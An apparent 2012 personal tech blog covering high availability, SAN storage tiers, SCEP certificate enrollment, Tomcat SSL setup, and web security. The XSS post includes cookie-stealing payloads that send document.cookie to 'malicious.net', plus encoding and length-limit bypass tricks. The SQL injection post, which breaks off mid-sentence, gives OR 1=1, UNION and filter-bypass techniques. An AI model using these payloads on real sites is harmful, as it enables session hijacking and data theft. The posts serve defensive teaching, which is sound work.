Sunday, October 28, 2012

Cloud Computing - High Availability (HA) and Disaster Recovery

The goal of the traditional High Availability (HA) architecture is to mitigate or prevent application downtime or outages due to failures caused by application errors or any infrastructure failure. Disaster recovery primarily deals with falling back on the secondary site in case of a failure at the primary site.


HA focuses on overcoming technology failures such as network and storage failures. DR focuses on overcoming the physical data center or infrastructure disasters. Both HA and DR focus on ensuring that applications are available 24x7 with zero or minimal downtime caused by planned or unplanned outages


Recovery Time Objective (RTO):  how quickly an application must be back in operation following a failure


Recovery Point Objective (RPO):


A simple way to achieve HA/DR is by using backup and restore operations or by using cluster architecture  and finally using fault tolerant hardware. Needless to say not all organizations use fault tolerant hardware but backup/restore becomes a very slow process and could take hours or days.


==
 Data replication and HA clustering can be combined to build what is called a "shared nothing cluster". The clustering technology ensures that applications and servers are operational and can perform a failover from one server to another in the event that any problems are detected. The data replication software handles mirroring data needed by the application between the servers so that no matter which server the application is running on, the data is available to it. The data replication can occur across either a LAN or across a WAN, depending on where the servers in the cluster are located.


==

Sunday, October 14, 2012

cloud Computing - Storage


Besides required features, performance, and cost, the criteria that typically drive customer choices are the reliability, availability, and scalability of a given storage solution. SANs are specifically designed to meet these additional criteria and satisfy the requirements of mission-critical business applications. The data center infrastructures built to run these applications typically handle large volumes of important information and data. As such, they must operate reliably and continually and be able to grow to meet increasing business volume, peak traffic, and an ever-expanding number of applications and users. The key capabilities that SANs provide to meet these requirements include

Storage clustering
Ease of connectivity
Storage consolidation
LAN-free backup
Server-less backup
Ease of scalability
Storage and server expansion
Bandwidth on demand
Load balancing


===

LV 1871 succeeded in virtualizing its servers and moving its application code base, but it felt it could take virtualization even further to benefit the business. “Our storage was principally network-attached at this point,” said Triebs. “We believed that we would improve both IT cost ratios and our computing performance for the company and its agents if we virtualized storage, and that this would also improve our capabilities of failover and data mirroring.”
One of the data center agility concerns was the time and effort it took to re-provision storage with LV 1871’s network-attached storage orientation. “With the SCSI-attached storage, we did not have a dynamic infrastructure that would allow us to quickly re-provision storage when we needed to,” said Triebs. “Instead, we had to concern ourselves with the model of the hardware, the space required, a buy decision and finally implementation. This end to end process could take as long as six to twelve weeks, and it was an expensive use of internal IT resources.”
LV 1871 made the decision to invest in an initially more expensive SAN (storage-attached network) solution that would pave the way for a virtualized storage framework, where different storage media could easily be tiered into fast access, more expensive disk and lower access, cheaper disk—with deployments and provisioning being accomplished in a matter of minutes, not weeks. “The virtual storage backbone not only reduced our internal costs and our speed of response, but it also allowed us to improve our failover and backup mechanisms for our two separate data centers,” said Triebs. “Data mirroring between the two data centers now takes minutes.” The virtual storage backbone has dramatically improved performance. Virtualization has given LV 1871 vendor independence as well, which lends more flexibility to buying decisions. Additional return on investment (ROI) is being seen in the new tiered storage strategy with its reduction of wasted storage space. “It costs us roughly $20/GB for faster access, tier one storage, while tier two, slower access storage costs around $8/GB,” said Triebs. “In our new tiered storage structure, we find that only one-third of our data is constantly accessed and needs to be on tier one, and we have organized our data this way. This is a primary area where we are realizing data center savings.”
Along the way, Triebs and his staff learned valuable lessons about working with virtualized server and storage infrastructures. “One was a simple practice to remember to delete virtual machines when they were no longer needed,” said Triebs. “On the data side, it is also imperative to think about technologies like data deduplication before doing backups, so you do not store extraneous data. Finally, when you consider going to a LAN/SAN virtual infrastructure as your backbone, you need to consider architectural concepts, such as a split fabric with the use of virtual LANs (VLANs)—and when it comes to security you want your DMZ and LAN to be separate from each other, and hosted on separate hardware.”


===





tiered storage
In a tiered strategy, Tier 1 storage is reserved for demanding applications, such as databases and e-mail, that require the highest performance and can justify the cost of serial-attached SCSI, Fibre Channel SANs, high-performance RAID levels, and the fastest available spindles--or even SSD drives.



Direct attached storage (DAS) is still the top choice of our survey participants for Tier 1 storage of applications such as databases and e-mail. Fibre Channel came in a close second, with 45% of respondents reporting use of Fibre Channel SANs, mainly for Tier 1 storage. Fibre Channel remains strong despite countless predictions of its rapid demise by most storage pundits--and the downright offensive "dead technology walking" label attached by a few.
One survey finding that's not completely unexpected--we were tipped off by similar findings in previous InformationWeek Analytics State of Storage reports--but is nonetheless puzzling is the poor showing by iSCSI SANs, which are the main Tier 1 storage platform for just 16% of respondents. That's less than half the number who report using NAS, our third-place response. Seems most IT pros didn't get the memo that iSCSI would force Fibre Channel into early retirement.
In all seriousness, the continued dearth of interest in iSCSI is mystifying given the current economic backdrop, the widespread availability of iSCSI initiators in recent versions of Windows (desktop and server) and Linux, and the declining cost of 1-GB and 10-GB connectivity options. We think the slower-than-predicted rate of iSCSI adoption--and the continued success of Fibre Channel--is attributable to a few factors. First, the declining cost of Fibre Channel switches and host bus adapters improves the economic case for the technology. Second, we're seeing slower-than-expected enterprise adoption of 10-Gbps Ethernet, leaving iSCSI at a performance disadvantage against 4-GB Fibre Channel.
However, iSCSI's performance future does look bright thanks to emerging Ethernet standards such as 40 Gbps and 100 Gbps that will not only increase the speed limit, but also accelerate adoption of 10-Gbps Ethernet in the short term. In our practice, we also see a reluctance among CIOs to mess with a tried-and-true technology such as Fibre Channel, particularly for critical applications like ERP, e-mail, and enterprise databases. Sometimes, peace of mind is worth a price premium.

tier 2
Tier 2 comprises the less expensive storage, such as SATA drives, NAS, and low-cost SANs, suitable for apps like archives and backups, where high capacity and low cost are more important than blazing speed. Our survey shows that NAS is the Tier 2 architecture of choice, used by 41% of respondents. DAS is the main Tier 2 storage of 34% of respondents. Once again, iSCSI SAN finished last, with a mere 17% of respondents using the technology primarily for Tier 2 storage. This is an even more surprising result than for Tier 1--we expected iSCSI's low cost relative to Fibre Channel SANs to result in a healthy showing here.


Tier 3 storage typically consists of the lowest-cost media, such as recordable optical or WORM (write once, read many) disks, and is well suited for historical archival and long-term backups.


== growing importance of data deduplication.. but more on that some other time.

Sunday, September 30, 2012

Security: XSS and Injection attacks and prevention

Background
Typically, an attacker tries to interact with the server in unexpected ways to perform unauthorized actions and access unauthorized data.

XSS type attacks are different, because the attacker's primary target is the application's other users. The vulnerabilities still exist within the application itself. However, the attacker is using these vulnerabilities to carry out malicious actions against another end user.

Attacks against other users have many complexities are not not well understood than server side ones.

Overview
XSS is one of the most prevalent web application vulnerability found in the wild (2nd most common as per OWASP).

XSS typically represents a critical security weakness within an application. It can often be combined with other vulnerabilities for malicious purposes. 
It's even possible to turn an XSS attack into a virus or self-propagating worm


What happened?
  • Maybe the user did something wrong.

Stored XSS attacks can compromise a users system without any insecure action from her.

  • But the attacker doesn't own my App.
It's possible to own an App.

Type of XSS attacks

  • Reflected XSS Vulnerabilities
  • Stored XSS Vulnerabilities
  • DOM-Based XSS Vulnerabilities


Reflected XSS Vulnerabilities

Reflected attacks are those where the injected code is reflected off the web server and are commonly delivered to victims via an e-mail message.
Let's say a web application has a dynamic page to display error messages. 

http://example.com/error.jsp?msg=An+error+occurred

This works well for the application because the app can now control the error page by a parameter and use this page to display all the error messages in the application.

The problem
The msg parameter is not filtered or sanitized and the value is simply inserted in the error page. This allows an attacker to specify a malicious script in the message parameter and the web page will simply "reflect" it back.

A benign example:
http://example.com/error.jsp?msg=<script>alert(1)</script>

This hardly seems threatening, a user executes a script in his own browser, in his own session and for the same same web app. Right?

How to exploit the vulnerability?
Let's walk through a few steps to see how one can exploit this vulnerability.
A user logs into a web application and is issued a session id:
Set-Cookie: sessId=123
For now, let's assume ( somehow) the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>
The user clicks on the URL provided and the browser and the server response contains the Javascript the attacker embedded.

The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net". 

The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.

But wait...
Since the attacker got the user to click on something extraneous. Why doesn't the attacker execute a malicious script directly from his site?
because browsers segregate content based on the domain and cookies can only be accessed by the domain that issued them.

Someone might question the feasibility of this attack especially since it requires the user to "click" on something extraneous to activate this attack. Which user would do that?
Well, "Administrators" in Apache Software foundation ended up doing that. Refer:http://blogs.apache.org/infra/entry/apache_org_04_09_2010

Well, the CEO of a webmail provider did. Refer http://blogs.zdnet.com/security/?p=3514 

Summary
Even though an attacker's script originated somewhere else it was able to gain access to the cookies issued 
by example.com and that is why we call it cross-site scripting.

Stored XSS Vulnerabilities

Stored XSS attacks happen when data submitted by one user is stored in the application and then is displayed to other users without being filtered or sanitized.
how to exploit the 
The attacker will submit some data including malicious content to the web app which stores this data. For example:
     A FAQ website accepts FAQ entries from end users and stores it in a web page that is available to the other users. An attacker can submit content with malicious javascript in the FAQ entry that ends up being stored in the website's content and is rendered every time someone visits the page.

    A user ( or victim) ends up viewing the page allowing the "stored" malicious content to execute in his browser.

Reflected attacks look more glamorous but Stored XSS attacks are generally more dangerous. Mostly because in the reflected attack, the attacker needs a user to visit a a crafted link. 
In the case of stored attack, the attacker exploits the vulnerability and simply waits for a user to visit the affected page.
Another reason is because the reflected attack requires a session to exist before it can be hijacked immediately otherwise the user has to be coaxed into log-in in the application.

DOM-Based XSS Vulnerabilities
Reflected and Stored are server side execution issues while DOM is client side. DOM-based XSS vulnerabilities appear more like reflected XSS bugs than the stored XSS ones. The attacker typically needs to induce a user to access a crafted URL containing malicious code.

Let's walk through steps similar to the reflected XSS example:

  • Let's say a web application has a dynamic page to display error messages. 
http://example.com/error.jsp?msg=An+error+occurred

  • Let's assume the error.jsp has the following code:
<script>
    var url = document.location;
    url = unescape(url);
    var message = url.substring(url.indexOf('message=') + 8, url
.length);
    document.write(message);
</script>

  • Let's say the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>
  • The user clicks on the URL provided and the browser and the client side code in error.jsp contains the malicious Javascript the attacker provided.
  • The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net". 

The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf. 

how to identity and prevent XSS attacks
  • perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.
  • Tools that can be used to scan  (but may offer limited analysis). 
    • Nessus, LAPSE, <TODO>
    • Scrubbr is a BSD-licensed database scanning tool that checks numerous database technologies for the presence of possible stored cross-site scripting attacks.
  •  Turn off HTTP TRACE support on all webservers.
    • Even when document.cookie is disabled or not supported on the client.
    • An HTTP Trace call could be triggered which collects the user's cookie information from the server.
  • Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side.
    • Input validation by itself cannot prevent XSS. But it is definately useful and should be employed.
    • Use escaping as the primary defense.
    • However unicode encoding is automatically decoded and provides no defense against attacks. It is important to be consistent and specify the encoding as UTF-8 just to avoid misinterpretations between charsets though.
    • Use an escaping library like ESAPI 
      • Simply encoding data is not enough. it is important to use the escape syntax for the part of the Html document we are putting the data into....
  • Escape the untrusted data that goes in HTML element with HTML entity encoding
    • to prevent switching into any execution context
    • Html elements including <body>, <div>
    • Example:
      • String encoded = ESAPI.encoder().encodeForHTML(request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in HTML attributes
    • This does not cover event handlers and other special attributes like src, href, style require special handling
    • String  encoded=ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "untrusted") );
  • Escape the untrusted data that goes in HTML event handlers and script blocks
    • The only safe place to put untrusted data into this javascript code is inside a quoted "data value" because it requires a corresponding quote to break out of this execution context.
    • there are some JavaScript functions that can never safely use untrusted data as input. For instance window.setInterval.
    • String encoded= ESAPI.encoder().encodeForJavaScript( request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in stylesheet or style tag.
    • Just like javascript, there are some CSS contexts that can never take untrusted data even if escaped. For instance, background-url and expression.
    • String  encoded = ESAPI.encoder().encodeForCSS( request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in Html URL.
    • Only encode the URL param for URL encoding:
      • String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );
    • Don't encode complete or relative URLs with URL encoding. We first need to validate it.
      • boolean isValidURL = ESAPI.validator().isValidInput("URLContext", userURL, "URL", 255, false); 
      • if (isValidURL) { <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a> }
  • Validate or clean user-driven HTML in an outbound way
    • OWASP AntiSamy
  import org.owasp.validator.html.*;
  Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);
  AntiSamy as = new AntiSamy();
  CleanResults cr = as.scan(dirtyInput, policy);
  MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function
  
    • OWASP Java HTML Sanitizer
  import org.owasp.html.Sanitizers;
  import org.owasp.html.PolicyFactory;
  PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
  String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");

DOM based XSS
It is extremely difficult to prevent DOM based XSS attacks because of the large surface area and lack of standardization across browsers.

Rough guidelines to protect against DOM based XSS
  • Always JavaScript encode and delimit untrusted data as quoted strings when entering the application. There are examples referenced below.
  • Use document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…), etc. to build dynamic interfaces. For setAttribute, follow the restrictions below. 
  • Avoid use of HTML rendering methods: element.innerHTML = “…”; element.outerHTML = “…”; document.write(…); document.writeln(…);
    • Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data.
  • There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.
    • N-Levels of Encoding
      • Depending upon the number of implicit eval(), we have to JS encode the untrusted data that many number of times.
  • Ideally, the correct way to apply encoding is to server-side encode first.
    • var input = “<%=Encoder.encodeForJS(untrustedData)%>”; //server-side encoding
    • window.location = ESAPI4JS.encodeForURL(input); //URL encoding is happening in JS 
    • document.writeln(ESAPI4JS.encodeForHTML(input)); //HTML encoding is happening in JS
    • Note: Don't rely on JS encoding as the client side library could be subverted.
  • Use a level of indirection and avoid using untrusted data as direct object references.
    • CajaJavaScript implementation for "virtual iframes" based on the principles of object-capabilities. Caja takes JavaScript (technically, ECMAScript 5 strict mode code), HTML, and CSS input and rewrites it into a safe subset plus a single JavaScript function with no free variables. Instead of giving direct references to DOM objects, the host page typically gives references to wrappers that sanitize HTML, proxy URLs, and prevent redirecting the page; prevent certain phishing, XSS and downloading malware.
  • Blindly encoding HTML is not enough. Even if we encode HTML that is set in the "value" attribute of an Html tag, it is automatically decoded when we access that value from JavaScript.
  • perfom server side length checks on the input data 
Escape untrusted data in execution context.
  • If we are in the execution context ( for instance within a script) then 
    • first escape the HTML and then
    • escape the javascript
    • Example:
      • element.innerHTML = “<%=Encoder.encodeForJavascript(encoder.encodeForHTML(untrustedData))%>”;
  • While using Html attributes in Javascript context, typically they can be protected by Html Attribute encoding of the untrusted data, followed by Javascript encoding. However in the javascript context, we have the potential to break the data display if we do that. To avoid this:
    • x.setAttribute(“value”, ‘<%=encoder. encodeForJavaScript(untrusted)%>’);
  • The above rule (of escaping javascript) does not work in the event handlers and javascript code subcontexts.
    •  primary recommendation is to avoid including untrusted data in this context. 
    •  Untrusted data that was properly JavaScript encoded but is still dangerous(JavaScript encoding does not stop attacks within an execution context). 
      • x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
    • Though dangerous, directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. 
    • The following DOES WORK because the encoded value is a valid variable name or function reference. "testIt" is JavaScript encoded:
      • document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074; 
  • When within an execution context ( javascript code), we need to encode the URL followed by Javascript encoding to prevent against attacks in the url field and in setAttribute calls.
    • document.body.style.backgroundImage = "url(<%=encoder.encodeForJavaScript (encoder.encodeForURL(untrusted))%>)";
  • Important: If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.
    • The below encodings don't work. Example:
    • <script>
    • document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
    • eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
    • </script>
    • An appropriate encoding is to use HTML encoding in the first case.
HttpOnly flag
With an HttpOnly flag (optional) in the response header, the cookie cannot be accessed through client side script. So, even if a cross-site scripting (XSS) flaw exists, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

Attempts to bypass checks.
  • An attacker can encode portions of the javascript malicious code to hide against any checks. For instance "a" is encoded as UTF-8.
<IMG SRC=j&#X41vascript:alert('test2')>
 
Tips
  • XSS attacks can be carried out without using the <script> tags inside html attributes like onload, onerror etc.
  • Output validation is the most important and is mandatory. Performing strict input validation should be viewed as a secondary failover.
  • White-listed input validation. Data contains only a predefined list of characters.
  • Eliminate dangerous insertion points.
Test
What do we escape and in which order?

<a href=”javascript:myFunction(‘<%=untrusted%>’, 'test');”>Click Me</a> ... <script> Function myFunction (url,name) { window.location = url; } </script>
Answer:
In the above example, untrusted data started in the rendering URL context (href attribute of an <a> tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction). 
Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following: <a href=”javascript:myFunction(‘<%=Encoder.encodeForJavaScript( ? Encoder.encodeForURL(untrustedData))%>’, 'test');”>link</a>

More questions
Questions:
1.What standard "signature" in an application's behavior can be used to identify most instances of XSS vulnerabilities?
 
2.You discover a reflected XSS vulnerability within the unauthenticated area of an application's functionality. State two different ways in which the vulnerability could be used to compromise an authenticated session within the application.
 
3.You discover that the contents of a cookie parameter are copied without any filters or sanitization into the application's response. Can this behavior be used to inject arbitrary JavaScript into the returned page? Can it be exploited to perform an XSS attack against another user?
 
4.You discover stored XSS behavior within data that is only ever displayed back to yourself. Does this behavior have any security significance?
 
5.You are attacking a web mail application that handles file attachments and displays these in-browser. What common vulnerability should you immediately check for?
 
6.How does the same-origin policy impinge upon the use of the Ajax technology XMLHttpRequest? 
 
7. Name three possible attack payloads for XSS exploits (that is, the malicious actions that you can perform within another user's browser, not the methods by which you deliver the attacks).
 
8.You have discovered a reflected XSS vulnerability where you can inject arbitrary data into a single location within the HTML of the returned page. The data inserted is truncated to 50 bytes, but you want to inject a lengthy script. You prefer not to call out to a script on an external server. How can you work around the length limit?
 
9.You discover a reflected XSS flaw in a request that must use the POST method. What delivery mechanisms are feasible for performing an attack?
 
Answers:

1.User-supplied input is returned unmodified within the application’s response to that input. 
2.In most cases, XSS flaws within unauthenticated functionality work just as effectively against authenticated users – the functionality behaves in the same way, resulting in arbitrary JavaScript execution within the context of the authenticated user’s session.

Even if a target user is not logged in at the time of the attack, they may still be compromised. If the application is vulnerable to session fixation, then an attacker can capture their token and wait for them to log in. An attacker can inject code into the login page to capture keystrokes, or even present a Trojan login form which sends their credentials elsewhere. 

3.The answer to the first question is "yes". The behavior of course enables arbitrary JavaScript to be injected via a crafted request. The answer to the second question is "maybe". Historically, various ways have existed of injecting arbitrary HTTP headers into cross-domain requests, to inject a malicious cookie. Older versions of Flash and XMLHttpRequest have been vulnerable in this way. Further, many applications designed to use a cookie will in fact accept the same named parameter in other locations, such as the query string or message body. 

4.In isolation, it appears that this behavior could only ever be used by a user to attack themselves. However, in conjunction with another suitable vulnerability, such as an access control flaw, or cross-site request forgery vulnerability, it could be highly significant, and could enable an attacker to inject stored JavaScript into the pages displayed to other application users. 
5.If the application displays HTML or text files without any sanitization, then JavaScript contained within these will execute within the browser of any user who views the attachment. Further, if a JPEG file contains HTML, then this will be automatically processed as HTML within some browsers. Many web mail applications do not adequately defend against XSS in message attachments. 

6.Because XMLHttpRequest can be used to retrieve the full response from an HTTP request, it can only normally be used to make requests to the same domain as the one that is invoking it. However, HTML5 has introduced the facility for XMLHttpRequest to make cross-domain requests, and retrieve responses, with the permission of the requested domain (see Chapter 13).
7.There are countless different attack payloads for XSS exploits. Some of the more commonly discussed payloads are:

•stealing the session cookie;
•inducing user actions; 
•injecting Trojan functionality; 
•stealing cached autocomplete data; and
•logging keystrokes.

8.You can “convert” the reflected XSS flaw into a DOM-based one. For example, if the vulnerable parameter is called vuln, you can use the following URL to execute an arbitrarily long script:

/script.asp?vuln=<script>eval(location.hash.substr(1))</script>#alert('long script here ......') 

9.If the POST method is mandatory, you cannot simply construct a crafted URL within the application that will execute an attack when a user visits it. However, you can create a third-party web page that submits to the vulnerable application a form using the POST method and the relevant parameters in hidden fields. You can use JavaScript to automatically submit the form when a user views your page.

Saturday, September 15, 2012

Enroll a Certificate using SCEP


Overview

The Simple Certificate Enrollment Protocol is a PKI communication protocol which leverages existing technology by using PKCS#7 and PKCS#10 over HTTP. SCEP is the evolution of the enrollment protocol developed by VeriSign, Inc. for Cisco Systems, Inc.

Latest Internet Draft

http://tools.ietf.org/html/draft-nourse-scep

Steps


  • Requester sends GetCACert message to SCEP URL
  • Either CA or RA responds with single DER-encoded X.509 certificate DER-encoded 'degenerate' PKCS#7 SignedData message with an X.509 certificate chain (CA -> RA)
  • Requester checks if CA certificate is trusted by prompting user with message digest of X.509 certificate
  • Requester constructs a PKCS#10 certificate signing request (CSR)
  • Requester constructs a PKCS#7 EnvelopedData object using the DER-encoded CSR and encrypts the envelope encryption key (DES or Triple-DES) using the message recipient's public key (either the CA, or an RA with a keyEncipherment KeyUsage extension)
  • Requester constructs a PKCS#7 SignedData using the DER-encoded EnvelopedData and its certificate, and signs a (MD5, SHA-1, SHA-256 or SHA-512) digest of the data using its RSA private key
  • Requester sends the DER-encoded SignedData object in a PKCSReq message to the RA (or CA)
  • RA (or CA) opens the SignedData message and extracts the EnvelopedData.
  • RA uses its private key to decrypt the EnvelopedData and extracts the PKCS#10 CSR
  • RA examines the challengePassword in CSR to authenticate request
  • RA sends CSR to CA
  • CA generates X.509 certificate from CSR and signs it
  • CA sends signed-certificate to RA
  • RA creates a 'degenerate' SignedData and adds signed-certificate
  • RA creates a EnvelopedData with the DER-encoded SignedData, encrypting using the Requesters public key (provided in the SignedData)
  • RA creates a SignedData object and signs using the RA key with a digitalSignature KeyUsage extension
  • RA sends the message to the Requester




new for the SCEP client to work:
  • - somehow generate the keys in keystore differently? key size. alg, cipher suite etc.
  • - once you receive the signed response back. store it differently:
    • generate a pkcs#7 format.
    • or import the cert into the same alias as the keystore.


Programmatic enrollment using Jscep








  • EJBCA requires the name identified in the certificate as "CN=Some user" to be defined as a user in the RA database. The user id is the CN and the password is the PKCSObjectIdentifiers.pkcs_9_at_challengePassword defined during construction of PKCS10CertificationRequest.




  • Also, if the certificate is intended for Tomcat, then the below properties should be set correctly in the EJBCA "Add Entity" page under the "Main Certificate Data" section:
    • Certificate Profile:             SERVER
    • CA:                                  AdminCA1
    • Token:                             User Generated


Note: Somehow Jscep has an issue with spaces in the CN and only sends the text before the space to EJBCA while enrolling the cert.

References

Saturday, August 25, 2012

Configuring Tomcat for SSL

Setting the server certificate


  • Create a server certificate for Tomcat and setup in the server.  Refer my earlier post for details on how a certificate can be obtained.
  • Double check whether the Root cert needs to be imported in trustcacerts. it might be safe to do:
    • keytool -import -trustcacerts -alias <ca-cert-alias-file <ca-cert-filename> 

Tomcat Connector configuration in server.xml.

      <Connector
        executor="tomcatThreadPool"
        port="9443"
        protocol="HTTP/1.1"
        connectionTimeout="20000"
        redirectPort="8443"
        acceptCount="100"
        maxKeepAliveRequests="15"
        keystoreFile="eclipse-workspace/security-utils/resources/manojkeystore.jks"
        keystorePass=""
        keyAlias="manojscepcertificate"
        keyPass=""
        SSLEnabled="true"
        scheme="https"
        secure="true"/>

  • Some of the attributes are the same as those of the basic HTTP connector, such as executor, protocol, connectionTimeout, maxKeepAliveRequests, and acceptCount. Note that although this connector will be used for HTTPS connections, you still set protocol to HTTP/1.1; other attributes will specify that this is an SSL-enabled connection.
  • The TCP/IP port that users specify as the secure connection port is 9443. Be sure that you set the value of the redirectPort attribute of your non-SSL connectors to this value to ensure that users that require a secure connection are redirected to the secure port, even if they initially start at the non-secure port.
  • The SSLEnabled attribute specifies that SSL is enabled for this connector.
  • The secure attribute ensures that a call to request.isSecure() from the connecting client always returns true. The default value of this attribute is false.
  • The scheme attribute ensures that a call to request.getScheme() from the connecting client always returns https when clients use this connector. The default value of this attribute is http.
  • The keystoreFile attribute specifies the name of the file that contains the server's private key and public certificate used in the SSL handshake, encryption, and decryption. You use an alias and password to access this information. 
  • The keyAlias and keystorePass attributes specify the alias (and password) used to access the keystore specified by the keystoreFile attribute.
  • keyPass specified the password for the key entry in the JKS. Usually this is not set or set to be the same as the keystore password. 
    • If the key entry was set programmatically then this password is set and has to be specified.

Limiting SSL Usage

    Enabling SSL in Tomcat's server.xml file causes all files to be run both as secure and insecure pages, which can cause unnecessary server load.  You can choose which applications offer SSL connections on a per-application basis by adding the following <security-constraint> element to the application's WEB-INF/web.xml file:

      <security-constraint>
      <web-resource-collection>
      <web-resource-name>YourAppsName</web-resource-name>
      <url-pattern>/*</url-pattern>
      </web-resource-collection>
      <user-data-constraint>
      <transport-guarantee>CONFIDENTIAL</transport-guarantee>
      </user-data-constraint>
      </security-constraint>

        • This configuration allows you to set SSL options for all an application's pages in one place.  For example, to disable SSL for all your application's pages, change "CONFIDENTIAL" to "NONE".

          Specifying Implementation

          If you have configured connectors for both APR and JSSE, Tomcat will use APR by default if you have installed the native libraries.  You can force it to use JSSE by modifying a Connector's "protocol" attribute as follows:

          <Connector protocol="org.apache.coyote.http11.HTTP11NioProtocol">

          If you want to force APR, you can do so with a similar edit:

          <Connector protocol="org.apache.coyote.http11.Http11AprProtocol">


          Verification


          Verify if tomcat is now showing the SSL cert. On my local server, the url is https://localhost:9443/SampleApp/services/SampleWebServiceImplPort?wsdl

          SSL Cipher Strength

          <TODO> Add more details about Cipher strengths and testing etc. Maybe another blog post about tools.


          Note 
          Note: Using name-based virtual hosts on a secured connection can be problematic. This is a design limitation of the SSL protocol itself. The SSL handshake, where the client browser accepts the server certificate, must occur before the HTTP request is accessed. As a result, the request information containing the virtual host name cannot be determined prior to authentication, and it is therefore not possible to assign multiple certificates to a single IP address. If all virtual hosts on a single IP address need to authenticate against the same certificate, the addition of multiple virtual hosts should not interfere with normal SSL operations on the server. Be aware, however, that most client browsers will compare the server's domain name against the domain name listed in the certificate, if any (applicable primarily to official, CA-signed certificates). If the domain names do not match, these browsers will display a warning to the client user. In general, only address-based virtual hosts are commonly used with SSL in a production environment.

          Setting Up a Server Certificate
          Tomcat SSL configuration


          Resources






          Saturday, August 18, 2012

          Security: SQL Injection

          SQL Injection flaws are introduced when dynamic database queries utilize user supplied input in some form.

          Most of the current web applications follow an MVC architecture where the Model typically represents a relational database. The flaws within this design are easily exploitable and could cause data loss, privacy and potential financial loss.


          SQL injection is a code injection technique that exploits a security vulnerability in a website's software. Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. 


          Simple Example:

          Let's say we have the below query to retrieve the users from accounts table:
          select name, salary from accounts where userid='inputdata' and accessid='123';

          Now if the inputdata is sent as is without an validation, a malicious user could send the value as
          :
          someuser' OR 1=1 --

          This would generate the below query:
          select name, salary from accounts where userid='someuser' OR 1=1 -- and accessid='123';

          This effectively subverts all our checks and the query would end up returning the names and salaries of all the users in the accounts table. Definitely not ideal !



          • For Select statements, the injection is usually after the where clause but could be used at ORDER by or names of tables and columns.


          • For INSERT statement, since the parameters values and types are unknown, we can keep adding fields to the VALUES clause until it works:
            • INSERT INTO users (username, password, ID, privs) VALUES ('ddd','pwd', 1111, 1)
            • Example:
              • junk')--
              • junk', 1)--
              • junk', 1, 1)--
              • junk', 1, 1, 1)--
            • An integer is implicitly casted to a string and 2000 to a date so we can use these at each position.
          • It's possible that a field in the Select clause that is vulnerable to SQL injection is also used in subsequent UPDATE statements and this could cause problems downstream. So any SQL Injection verification should keep that in mind.
            • UPDATE accounts SET password='newpwd' WHERE user = 'me' and password= 'pwd'
            • As described for select statements, update and DELETE statements are equally vulnerable to SQL Injection.
          Quick steps to verify if an application is vulnerable:
          • Verify if the app is interacting with a backend DB by submitting "%" in a search parameter to see if additional results are being returned.
          • Try with single and two single quotes in user supplied data to see how the application responds. Single quote normally results in a a SQL error and you can study the error message.  two single quotes are treated by the DB as a literal single quote so the error might disappear and indicate that the DB processed this as valid input. This might signal SQL Injection vulnerability.
          • While testing for SQl Injection vulnerability(especially without using an intercepting proxy), we may need to encode the params to pass them to the DB layer.
            • If you fail to encode problem characters correctly, you may inval-idate the entire request or submit data you did not intend to.
          • User input values that are used in table or column names or ORDER by clauses don't need a single quote.
          • If SQL injection vulnerability occurs in a SELECT statement, you can often employ the UNION operator to perform a second query, and combine the results with those of the first. 
            • But the two result sets must have the same structure. i.e. they must contain the same number of columns, which have the same or compatible data types, appearing in the same order.
            • A persistent attacker can first figure out the number of columns by using "SELECT NULL" and then try different data types.
          • Database metadata can be used to further gather information about the tables and columns:
            • information_schema table can be used for MS-SQL, MySQL etc
            • all_tab_columns can be used for Oracle.
          • It is possible to bypass filters at the application level by using ASCII codes for characters ( if single quote is being blocked). If comment is blocked then we can construct in a way to avoid breaking the syntax.
          • It is also possible to bypass blacklist based validations by using null charater etc.
          •  You can check if t


          Fingerprinting the Database: The below shows how the string services could be constructed on the common types of database:
          • Oracle: ‘serv’?‘ices’  ( send '||'London as a String parameter and the result is same)
